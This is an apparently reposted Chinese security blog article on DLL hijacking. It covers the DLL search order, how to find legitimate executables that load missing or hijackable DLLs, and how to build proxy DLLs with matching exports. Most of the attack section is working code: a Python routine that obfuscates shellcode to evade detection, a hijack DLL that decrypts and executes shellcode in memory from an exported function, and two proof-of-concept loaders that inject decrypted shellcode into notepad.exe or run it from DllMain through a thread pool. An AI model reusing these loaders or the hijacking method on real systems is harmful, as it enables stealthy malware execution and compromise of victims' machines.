DLL劫持与攻击利用

admin 2024年11月6日00:12:19评论13 views字数 10930阅读36分26秒阅读模式
DLL基础
DLL全称Dynamic Link Library,称为动态链接库,允许多个应用程序共享代码和资源,支持按需加载功能,从而提高内存利用率、简化更新和维护。大多数程序并不是一个单独的可执行文件,而是有一些单独的存放动态链接库在系统中,当需要某些功能时,通过DLL调用执行相应的功能。

DLL 搜索路径

dll文件搜索路径如下:

应用程序所在目录
    ⇓ 系统目录(即 C:WindowsSystem32)
    ⇓ 16位系统目录(即 C:WindowsSystem)
    ⇓ Windows 目录(即 C:Windows)
    ⇓ 当前目录(当前执行文件所在目录)
    ⇓ PATH 环境变量中的各个目录

dll编写

DLL开发目录格式

使用vs新建dll,可以看到有如下目录结构,可以看到有framework.h、pch.h、dllmain.cpp、pch.cpp四个文件:
DLL劫持与攻击利用
·framework.h 文件用于包含项目中需要使用的头文件,其中默认包含了windows头文件。
·pch.h是预编译标头文件,dll的导出函数应该在此处定义。
·dllmain.cpp 文件包含程序的入口点,在 dllmain.cpp 中实现的在 pch.h 中定义函数,也可以在其他 cpp 文件中实现,如 pch.cpp 等。

编写dll文件

dll文件

framework.h
#pragma once

#define WIN32_LEAN_AND_MEAN// 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

pch.h
// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
//
这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
//
但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
//
请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"

#endif //PCH_H

extern "C" __declspec(dllexport) void HelloWorld();

dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved) // Reserved
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HelloWorld(); // 进程加载 DLL 时被调用。它是 DLL 的初始化代码执行的地方,通常用于进行全局资源的分配和初始化。break;
case DLL_THREAD_ATTACH: // 当一个新的线程被创建并且该线程调用了 DLL 时,会触发此事件。此时,可以执行特定于线程的初始化代码,例如分配线程局部存储(TLS)。
break;
case DLL_THREAD_DETACH: // 当一个线程正常退出时,触发此事件。
可以在这里释放与该线程相关的资源,如清理线程局部存储。break;
case DLL_PROCESS_DETACH: // 当一个进程卸载 DLL 时被调用。这个时候可以在这里执行清理操作,如释放在 DLL_PROCESS_ATTACH 中分配的全局资源。
break;
}
return TRUE;
}

pch.cpp
// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"

// 当使用预编译的头时,需要使用此源文件,编译才能成功。void HelloWorld() { MessageBox(NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK); }

测试文件

由于 dll 不能直接运行,因此在 vs 中无法直接对 dll 进行调试,需要新建一个 exe 项目进行调试。右键【解决方案】->【添加】->【新建项目】,选择控制台应用。
#include <Windows.h>
#include <iostream>

typedef void (*FunctionType)(); // 定义函数指针类型

int main(){
HINSTANCE hinstDLL = ::LoadLibrary(L"Dll_test.dll");
if (hinstDLL != NULL) {
FunctionType HelloWorld = (FunctionType)GetProcAddress(hinstDLL, "HelloWorld");
if (HelloWorld != NULL) {
HelloWorld();
}
else {
std::cerr << "Failed to find s function in the DLL." << ::GetLastError() << std::endl;
}
}
else {
// 处理错误:加载DLL失败
std::cerr << "Failed to load the DLL." << ::GetLastError() << std::endl;
}
system("pause"); // 在命令行中显示 "Press any key to continue . . ."
return 0;
}

DLL劫持与攻击利用dll静态和动态调用

dll 静态调用特点

如果 exe 中使用了静态链接库方式加载的 dll 能直接在 DependenciesPE查看器中查看出来
DLL劫持与攻击利用
当静态链接库所需的 dll 不存在时会弹出错误提示框并提示确少的 dllDLL劫持与攻击利用
当所需的 dll 存在,但是 dll 中不存在所需的函数时也会会弹出错误提示框并提示缺少的函数:
DLL劫持与攻击利用
如果生成的的dll中未定义导出函数,报错如下:
DLL劫持与攻击利用

dll 动态调用特点

dll 动态调用即使用 LoadLibrary(Ex) 函数加载dll 。动态调用无法直接在PE查看器中查看,且当所需 dll 不存在时不会返回任何错误,只有当调用的函数在 dll 中不存在时才会退出程序并返回错误代码。
DLL劫持与攻击利用

可用白文件查找

可劫持 dll 查找按照 dll 静态调用和动态调用方式分为静态查找和动态查找。

静态查找

·通过静态调用的特点去查找,将 exe 移动到另一个位置,执行时会提示找不到 dll
DLL劫持与攻击利用
·或者使用 Dependencies 查看,一般情况下可以利用其中的当前路径下的 dll
DLL劫持与攻击利用
·使用工具:https://github.com/HexNy0a/SkyShadow该工具从本机获取微软 DLL 列表,并快速生成指定文件夹下所有 EXE 的 Unique DLL Hijacking Payload
DLL劫持与攻击利用

动态查找

使用 ProcessMonitor 等监视工具在运行 exe 时查看调用了哪些 dll 文件
我们可以通过使用 process monitor 来过滤得到缺失的DLL:
Path ends with dll
Result is NAME NOT FOUND
Process Name is cloudmusic_reporter.exe

DLL劫持与攻击利用

攻击利用

DLL劫持攻击中,通常需要拦截和重定向对原始DLL函数的调用。为了实现这一点,生成的代理DLL必须定义与原始DLL相同的导出函数,以便能够捕获到对这些函数的调用并进行处理。
查看 DLL 文件中的导出函数可以有两种方法:
1.查看 EXE 的导入函数表:当一个 EXE 文件使用了某个 DLL 文件中的函数时,该 EXE 文件会在其导入表(Import Table)中列出所需调用的 DLL 函数。通过查看 EXE 文件的导入表,可以找到它使用的 DLL 中的函数名称。
2.查看 DLL 文件的导出表:每个 DLL 文件都有一个导出表(Export Table),列出了可以被外部程序调用的函数。通过查看 DLL 的导出表,可以直接获取 DLL 中所有可供外部使用的函数名称和相关信息。

生成dll导出函数

CFF Explorer

使用CFF Explorer工具,打开需要劫持的文件,查看文件位数以及导入目录。
DLL劫持与攻击利用
自定义GetInstallDetailsPayloadSignalInitializeCrashReporting函数。
extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}

AheadlibEx

如果dll导出函数太多的话,一个个去复制粘贴不现实,这里我们要使用工具 AheadLibEx.exe,这将帮助我们轻松生成一个VS project:
DLL劫持与攻击利用
打开生成的VS project我们发现它帮我们生成的很多函数,里面的load和init函数我们其实都不需要,直接删掉里面代码,保留最基本都入口就可以了
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
//这里写我们的恶意代码
。。。。。。。。
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}

Python XOR代码

def custom_encrypt(shellcode, key):
encrypted_shellcode = bytearray()
for byte in shellcode:
encrypted_byte = ((~(byte ^ key)) << 1 & 0xFF) | ((~(byte ^ key)) >> 7 & 0x01)# 自定义加密操作
encrypted_shellcode.append(encrypted_byte)
return encrypted_shellcode

with open("payload_x64.bin","rb")as fp:
shellcode=fp.read()

key = 0xAB# 加密密钥
#加密 shellcode
encrypted_shellcode = custom_encrypt(shellcode, key)
#打印加密后的 shellcode(以 C++ 格式显示)
print("Encrypted Shellcode:")
print(", ".join(f"0x{byte:02x}" for byte in encrypted_shellcode))
#打印加密密钥
print(f"Encryption Key: 0x{key:02x}")

DLL劫持与攻击利用

导出函数上线方式

1.使用CFF Explorer打开identity_helper.exe,查看msedge_elf.dll导出函数。
DLL劫持与攻击利用
2.使用MessageBox进行弹框,看看该exe是否使用了该函数,如果使用了该函数,那么程序运行的时候就会弹框。分别在GetInstallDetailsPayloadSignalInitializeCrashReportingdllmain中添加。
DLL劫持与攻击利用
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){
MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);
}

extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {
MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORDul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

3.加载dll测试,三个位置均可弹窗。
DLL劫持与攻击利用
DLL劫持与攻击利用
DLL劫持与攻击利用
4.重写GetInstallDetailsPayload上线。
DLL劫持与攻击利用
DLL劫持与攻击利用
DLL劫持与攻击利用

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

// Shellcode 加密数据
unsigned char payload[] = {
0x51, 0x38, 0xaf, 0x61, 0x49,
};

// 自定义解密函数
void CustomDecrypt(unsigned char* data, size_t dataSize, unsigned char key) {
for (size_t i = 0; i < dataSize; ++i) {
data[i] = ((~(data[i] >> 1 | data[i] << 7)) ^ key);
}
}

unsigned int payload_len = sizeof payload - 1;

extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {
void* runtime;
BOOL retval;
HANDLE h_thread;
DWORD old_protect = 0;

runtime = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
unsigned char key = 0xAB;// 解密密钥
CustomDecrypt(payload, payload_len, key);
RtlMoveMemory(runtime, payload, payload_len);

retval = VirtualProtect(runtime, payload_len, PAGE_EXECUTE_READ, &old_protect);
if (retval != 0) {
h_thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)runtime, 0, 0, 0);
WaitForSingleObject(h_thread, -1);
}

VirtualFree(runtime, payload_len, MEM_RELEASE);

MessageBox(NULL, L"Payload注入成功", L"test", MB_OK);
}

extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORDul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

DLLMain 上线方式

DllMain中,Windows系统会自动为DLL加载的进程或线程加锁,以确保在调用DLL的同时不会发生其他的加载或卸载操作。如果在DllMain中调用任何会尝试获取这个锁的函数,就会形成循环依赖,从而导致死锁。如一些API(如CreateThreadLoadLibraryGetModuleHandle等)可能会试图获取加载程序锁。这些API的调用会阻止其他线程完成其操作,造成相互等待,最终导致死锁。

1.使用工具AheadLibEx.exe,生成一个VS project。
DLL劫持与攻击利用
2.DllMain 代码加载shellcode代码。
DLL劫持与攻击利用
DLL劫持与攻击利用
DLL劫持与攻击利用
·POC1
#include <windows.h>
#include <Shlwapi.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>

.......

// Shellcode 加密数据
unsigned char shellcode[] = {
0x51, 0x38, 0xaf, 0x61。。。。。。
};

size_t shellcodeSize = sizeof(shellcode);

// 自定义解密函数
void CustomDecrypt(unsigned char* data, size_t dataSize, unsigned char key) {
for (size_t i = 0; i < dataSize; ++i) {
data[i] = ((~(data[i] >> 1 | data[i] << 7)) ^ key);
}
}

DWORD FindProcessId(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}

PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);

if (Process32First(hSnapshot, &pe)) {
do {
if (wcscmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}

CloseHandle(hSnapshot);
return 0;
}

int InjectShellcode() {
const wchar_t* targetProcessName = L"notepad.exe";// 目标进程名
DWORD processId = FindProcessId(targetProcessName);
unsigned char key = 0xAB;// 解密密钥
CustomDecrypt(shellcode, shellcodeSize, key);
if (processId == 0) {
std::cerr << "未找到目标进程。" << std::endl;
return -1;
}

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (hProcess == NULL) {
std::cerr << "无法打开进程。" << std::endl;
return -1;
}

LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {
std::cerr << "内存分配失败。" << std::endl;
CloseHandle(hProcess);
return -1;
}

// 将 shellcode 写入目标进程的内存
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), &bytesWritten) || bytesWritten != sizeof(shellcode)) {
std::cerr << "写入进程内存失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}

// 创建远程线程执行 shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "创建远程线程失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}

// 等待线程结束
//WaitForSingleObject(hThread, INFINITE);

// 清理
//VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);

return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
InjectShellcode();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

·POC2
// Shellcode 加密数据
unsigned char encryptedShellcode[] = {
0x51, 0x38, 0xaf, 0x61, 0x49, 0x79, 0x39,.....
};

size_t shellcodeSize = sizeof(encryptedShellcode);

// 自定义解密函数
void CustomDecrypt(unsigned char* data, size_t dataSize, unsigned char key) {
for (size_t i = 0; i < dataSize; ++i) {
data[i] = ((~(data[i] >> 1 | data[i] << 7)) ^ key);
}
}

// 使用 VirtualAllocEx 注入并执行 shellcode 到指定进程中
BOOL InjectShellcodeToProcess(HANDLE hProcess, unsigned char* shellcode, size_t shellcodeSize) {
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeAddr) {
MessageBox(NULL, L"VirtualAllocEx failed", L"Error", MB_OK);
return FALSE;
}

if (!WriteProcessMemory(hProcess, shellcodeAddr, shellcode, shellcodeSize, NULL)) {
MessageBox(NULL, L"WriteProcessMemory failed", L"Error", MB_OK);
VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
return FALSE;
}

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, NULL);
if (!hThread) {
MessageBox(NULL, L"CreateRemoteThread failed", L"Error", MB_OK);
VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
return FALSE;
}

WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
CloseHandle(hThread);

return TRUE;
}

// 执行解密后的 shellcode
void ExecuteShellcode() {
HANDLE hProcess = GetCurrentProcess();
unsigned char key = 0xAB;// 解密密钥
CustomDecrypt(encryptedShellcode, shellcodeSize, key);
InjectShellcodeToProcess(hProcess, encryptedShellcode, shellcodeSize);
}

// 使用线程池来执行 shellcode,避免 Loader Lock
void CALLBACK ShellcodeThreadPoolCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WORK Work) {
UNREFERENCED_PARAMETER(Instance);
UNREFERENCED_PARAMETER(Parameter);
UNREFERENCED_PARAMETER(Work);

ExecuteShellcode();
}

// DLL 入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
DisableThreadLibraryCalls(hModule);
PTP_WORK work = CreateThreadpoolWork(ShellcodeThreadPoolCallback, NULL, NULL);
if (work != NULL) {
SubmitThreadpoolWork(work);
CloseThreadpoolWork(work);
}
else {
MessageBox(NULL, L"Failed to create threadpool work", L"Error", MB_OK);
}
break;
}

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

原文始发于微信公众号(长风实验室):DLL劫持与攻击利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日00:12:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DLL劫持与攻击利用http://cn-sec.com/archives/3360249.html

发表评论

匿名网友 填写信息